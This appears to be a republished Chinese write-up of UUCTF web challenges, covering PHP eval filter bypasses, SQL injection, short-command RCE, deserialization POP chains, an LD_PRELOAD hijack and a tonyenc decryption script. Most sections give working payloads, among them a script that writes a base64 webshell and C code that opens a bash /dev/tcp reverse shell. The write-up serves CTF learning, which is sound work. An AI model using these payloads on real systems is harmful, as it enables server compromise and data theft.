websign
無法右鍵 禁用js后 看原始碼
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-5FX2uPVO-1667461598331)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084455218-16673498960451.png)]](https://img.uj5u.com/2022/11/04/328709040648431.png)
ez_rce -- 閉合
原始碼,禁用的東西挺多的 仔細發現 ? <> `沒有禁用,閉合標簽反引號執行命令
## 放棄把,小伙子,你真的不會RCE,何必在此糾結呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你輸入的引數!!!不叫樣子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不輸入引數,可惡!!!!!!!!!";
show_source(__FILE__);
}
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl輸出
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-CwkveGZq-1667461598334)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084742202.png)]](https://img.uj5u.com/2022/11/04/328709040648432.png)
ezsql -- 輸入反向
直接給出了查詢陳述句
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-htrif8Qh-1667461598334)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084840911.png)]](https://img.uj5u.com/2022/11/04/328709040648433.png)
發現輸入 11')--+ 顯示的是 +--)'11 完全反過來了
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FHUyt2Vd-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084917425.png)]](https://img.uj5u.com/2022/11/04/328709040648434.png)
首先使用萬能密碼試試
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-zrIwbJ3M-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102090900004.png)]](https://img.uj5u.com/2022/11/04/328709040648435.png)
發現即使輸入時正確的賬號密碼也不會回顯flag
找列數 2列
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-uUStUQml-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102091511118.png)]](https://img.uj5u.com/2022/11/04/328709040648436.png)
這里過濾了or 雙寫繞過,查找表名和資料庫名
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-yN8Rq0Af-1667461598336)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092019725.png)]](https://img.uj5u.com/2022/11/04/328709040648437.png)
查列名UUCTF
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8A37l0yb-1667461598336)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092217212.png)]](https://img.uj5u.com/2022/11/04/328709040648438.png)
查內容
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-30Rgtizv-1667461598337)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092253981.png)]](https://img.uj5u.com/2022/11/04/328709040648439.png)
ezrce -- 6字符RCE
hint:這是一個命令執行介面
我知道咯這是六字符 起初我輸入>nl 回顯命令執行失敗 我以為沒有運行 所以沒寫
所以說不可以完全信回顯
我們要先找到寫檔案寫的目錄 echo 一下,檔案寫在./tmp/
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lz1FE0aK-1667461598338)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092539025.png)]](https://img.uj5u.com/2022/11/04/3287090406484310.png)
方法一
>nl
* /*>d
第一個:創建一個叫nl的檔案
* /*>d 意思就是 nl /*>f 第一個*就是將ls列出檔案名第一個當作命令 其他當作引數
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lsTD1eCt-1667461598338)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092726460.png)]](https://img.uj5u.com/2022/11/04/3287090406484311.png)
方法二
前置知識
>a 在Linux會創建一個叫a的檔案
*>v 會將ls列出的第一個檔案名當作命令 其余當作引數執行
*v>0 等價于 rev v >0 反轉
sh 0 將0檔案的內容當作命令執行
ls -th 按照檔案的創建時間(后創建先列出)ls -t就可以 這里加上h是為了按照 sl ht- f\>排列
linux下換行執行命令:
ech\
o\
111
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-nzwlrAkp-1667461598340)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102094032065.png)]](https://img.uj5u.com/2022/11/04/3287090406484312.png)
跑腳本,寫木馬
url="http://43.142.108.3:28933/post.php"
print("[+]start attack!!!")
with open("5字符RCE.txt", "r") as f:
for i in f:
data = https://www.cnblogs.com/yb0osing/p/{"cmd": f"{i.strip()}"}
requests.post(url=url,data=https://www.cnblogs.com/yb0osing/p/data)
resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
if resp.status_code == requests.codes.ok:
print("[*]Attack success!!!")
5字符RCE.txt
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

ez_unser -- 參考繞過wakeup
反序列化 審計代碼
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
// 可以看到這里有一個 $this->b=$this->c; 這里就是我們利用的地方
// 這里說下php參考問題 當a=&b是 a和b分配的是同一快記憶體地址 也就是 a b永遠相等
$this->b=$this->c;
// 終點
eval($this->a);
}
}
$a=$_GET['a'];
// 這里限制我們不能修改test后的引數 也就是不可以通過修改引數繞過 __wakeup
if(!preg_match('/test":3/i',$a)){
die("你輸入的不正確!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
構造POC
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('ls');";
}
}
echo((serialize(new test())));
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-LDQ8R8Kz-1667461598341)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102095032026.png)]](https://img.uj5u.com/2022/11/04/3287090406484314.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8luj5kBW-1667461598342)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102095054936.png)]](https://img.uj5u.com/2022/11/04/3287090406484315.png)
最終的payload
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('cat /f*');";
}
}
echo((serialize(new test())));
ez_upload--apache決議漏洞
檔案上傳也就是哪些方式 一個一個試就好
apache決議漏洞 上傳shell.jpg.php即可
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mAwQ46xW-1667461598342)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102141000673.png)]](https://img.uj5u.com/2022/11/04/3287090406484316.png)
phonecode--mt_rand函式
hint:你能猜到驗證碼嗎? 猜測就是亂數預判
打開題目 根據提示 意思就是讓我們猜驗證碼是什么
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-uIwUeCMZ-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102142728954.png)]](https://img.uj5u.com/2022/11/04/3287090406484317.png)
我們先輸入手機號和驗證碼試試,發現無論請求多少次 hint永遠是895547922,結合mt_srand和mt_rand函式 當設定的種子確定(此處的種子時輸入的手機號)時,每次的mt_rand都是固定的 我們可以猜測hint就是mt_rand的第一次,而目的驗證碼就是mt_rand的第二次
mt_srand(11111);
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fGGE2vwl-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102142816734.png)]](https://img.uj5u.com/2022/11/04/3287090406484318.png)
我們寫代碼 弄出第二次的mt_rand
mt_srand(123);
echo mt_rand()."\n"; //895547922
echo mt_rand()."\n"; //2141438069
發現果然 第一次的mt_rand就是hint
我們將code改為2141438069
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-SN4OTXxC-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102143314267.png)]](https://img.uj5u.com/2022/11/04/3287090406484319.png)
uploadandinject--LD_PRELOAD劫持
打開題目發現有hint
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3fPMUOYx-1667461598344)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102150623698.png)]](https://img.uj5u.com/2022/11/04/3287090406484320.png)
看看hint,意思就是看看swp(Linuxvim產生的檔案).index.php.swp或者看到swp掃描就好
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-sg41tl9X-1667461598344)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102150640881.png)]](https://img.uj5u.com/2022/11/04/3287090406484321.png)
下載 可以看到原始碼 使用 vi -r index.php.swp 恢復檔案內容
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
//設定環境變數的值 添加 setting 到服務器環境變數, 環境變數僅存活于當前請求期間, 在請求結束時環境會恢復到初始狀態 設定.so LD_PRELOAD設定的優先加載元件
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "<br><img src=https://www.cnblogs.com/yb0osing/p/$img_path>";
}else{
system("echo Failed to load ");
}
}
而且我們篤定是有上傳的網頁的,限制了檔案型別 我們想要上傳的是so,但是LD_PRELOAD也能決議jpg后綴 所以修改后綴上傳就可以
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ggjDtXJN-1667461598345)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102232346248.png)]](https://img.uj5u.com/2022/11/04/3287090406484322.png)
那么問題又來了 我們上傳了so檔案,怎么才能觸發元件的函式?可以看到下面有一個system函式 ,本地測驗可以發現,system會呼叫/bin/sh
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Q9ceJ2QI-1667461598345)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102221618120.png)]](https://img.uj5u.com/2022/11/04/3287090406484323.png)
所以我們寫一個exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
//反彈shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
編譯成so檔案 然后修改后綴為jpg
gcc -shared -fPIC exp.c -o exp.so
在upload/upload.php上傳
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qcNZewAp-1667461598346)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233332977.png)]](https://img.uj5u.com/2022/11/04/3287090406484324.png)
然后在主頁面訪問,根據原始碼我們傳遞upload/exp_shell.jpg給image_path
//設定環境變數的值 添加 setting 到服務器環境變數, 環境變數僅存活于當前請求期間, 在請求結束時環境會恢復到初始狀態 設定.so LD_PRELOAD設定的優先加載元件
putenv("LD_PRELOAD=/var/www/html/$img_path");
// 執行函式 就會優先到我們LD_PRELOAD的指向的函式 反彈shell
system("echo Success to load");
要先在攻擊機上監聽埠
反彈shell成功
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-yHHMUxRv-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233802658.png)]](https://img.uj5u.com/2022/11/04/3287090406484326.png)
輸出flag
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-x46s98tr-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233837525.png)]](https://img.uj5u.com/2022/11/04/3287090406484327.png)
ezpop -- 字串逃逸
打開題目給出的就是原始碼
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=https://www.cnblogs.com/yb0osing/p/$_POST["data"];
if(isset($pdata))
{
$data=https://www.cnblogs.com/yb0osing/p/serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
考點就是字串逃逸,剛開始直接序列化UUCTF類,經過替換之后5字符變6字符,我們沒有給$this->key直接賦值但是要求是UUCTF才可以繼續下去,所以通過字串逃逸間接給key賦值
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
我們在本地一步一步測驗
首先隨便輸入根據輸出構造,測驗發現進入了我們的目標
O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TUqUnB2R-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103002133711.png)]](https://img.uj5u.com/2022/11/04/3287090406484328.png)
然后構造執行命令的那塊POC
class output{
public $a;
function __toString(){
//1、呼叫目的函式 __toString 物件實體被當作字串處理呼叫
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
//2.要繞過__wakeup 但是這里php版本是7.2.34 不能利用多寫引數繞過 我們還是利用參考繞過
$this->b=$this->t;
// 這里回傳的是字串
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
// 終點
eval($this->cmd);
}
}
POC
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
}
echo(base64_encode(serialize(new nothing())));
將上面兩處的構造的結合起來的payload
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
}
$basedata = https://www.cnblogs.com/yb0osing/p/(base64_encode(serialize(new nothing())));
$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
執行效果
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-O1ar6HMK-1667461598348)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103145043072.png)]](https://img.uj5u.com/2022/11/04/3287090406484329.png)
找flag在當前目錄的flag.php
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="system('cat flag.php');";
}
}
$basedata = https://www.cnblogs.com/yb0osing/p/(base64_encode(serialize(new nothing())));
$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-S4xdAO3M-1667461598348)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103145321066.png)]](https://img.uj5u.com/2022/11/04/3287090406484330.png)
funmd5--對代碼的理解
打開題目 直接原始碼
重點
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
我們知道$md5[0]==md5($md5[0])繞過可以使用0e215962017,但是還要繞過preg_replace使用%0a,我們審計代碼發現,后面有對md5[0]的截取 我們只要保證$sub=1從第一位開始截取,就可以避免%0a,而且$sub的值是當前時間的最后一位,也就是保證當前的時間為xxxxxxxx1即可
$sub=substr($time,-1);
$md5[0]=substr($md5[0],$sub);
$guessmd5=md5($time);我們使用腳本快速請求就可以在傳入md5[1]也是當前時間的md5值 兩者就相等
腳本
import hashlib,time,requests
def guess_md5():
while True:
url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"
resp = requests.get(url=url)
if "win" in resp.text:
print(resp.text)
return
time.sleep(1)
guess_md5()
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YpnbvT9R-1667461598349)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103151802644.png)]](https://img.uj5u.com/2022/11/04/3287090406484331.png)
backdoor--tonyenc加密
這題我不太會哦 沒咋理解 不是很會使用IDA
hint:backdoor.php是一個后門檔案
打開題目 說 布里茨 布里茨就是lol的機器人 看robots.txt
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-hT6HWxct-1667461598349)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152109438.png)]](https://img.uj5u.com/2022/11/04/3287090406484332.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-14ULdNgV-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152120295.png)]](https://img.uj5u.com/2022/11/04/3287090406484333.png)
下載原始碼,發現五個檔案大致看下 robots.txt index.php無資訊
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-OrJ7LLYp-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152206424.png)]](https://img.uj5u.com/2022/11/04/3287090406484334.png)
看看backdoor.php的代碼,根據提示 他是一個后門檔案 那肯定是有連接后門的密碼的,但是亂碼又不知道
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-zcBuFyVS-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152405161.png)]](https://img.uj5u.com/2022/11/04/3287090406484335.png)
到了這里屬實是沒啥思路 看wp IDA逆向so檔案
so檔案是Linux下向當于Windows下的dll檔案,Linux下的程式函式庫,即編譯好的可以供其他程式使用的代碼和資料
發現了tonyenc_encode函式
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0SsksBgI-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103153401214.png)]](https://img.uj5u.com/2022/11/04/3287090406484336.png)
百度搜索這個是啥:
- 一個簡潔、高性能、跨平臺的 PHP7 代碼加密擴展,當前版本為 0.2.2
- 就是對PHP7的代碼進行加密的函式
百度搜一下找到git專案
GitHub - lihancong/tonyenc: 高性能、跨平臺的 PHP7 代碼加密擴展 (A high performance and cross-platform encrypt extension for PHP source code)
編譯前請在 core.h 中做如下修改:
/* 這里定制你的加密特征頭,不限長度,十六進制哦 */
const u_char tonyenc_header[] = {
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x16, 0x16, 0x18,
};
/* 這里指定密鑰,長一些更安全 */
const u_char tonyenc_key[] = {
0x9f, 0x49, 0x52, 0x00,
0x58, 0x9f, 0xff, 0x21,
0x3e, 0xfe, 0xea, 0xfa,
0xa6, 0x33, 0xf3, 0xc6,
};
在IDA中找到對應的加密頭和key
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-VUcHMf2X-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103153927985.png)]](https://img.uj5u.com/2022/11/04/3287090406484337.png)
根據github原始碼寫解密py腳本
import base64
header=[
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x61, 0x16, 0x18,
]
key=[
0x9f, 0x58, 0x54, 0x00,
0x58, 0x9f, 0xff, 0x23,
0x8e, 0xfe, 0xea, 0xfa,
0xa6, 0x35, 0xf3, 0xc6]
def decode(data,len):
p =0
for i in range(0,len):
if (i & 1):
p += key[p] + i;
p %= 16;
t = key[p];
data[i] = ~data[i]^t;
if data[i] < 0:
data[i]=data[i]+256
decode = "".join([chr(c) for c in data])
return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))
解密得到backdoor.php檔案內容為
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/526830.html
標籤:其他
上一篇:如何解耦材料表中的行
下一篇:記一次詳細的實戰滲透

![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-uB77aM8v-1667461598346)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233746067.png)]](https://img.uj5u.com/2022/11/04/3287090406484325.png)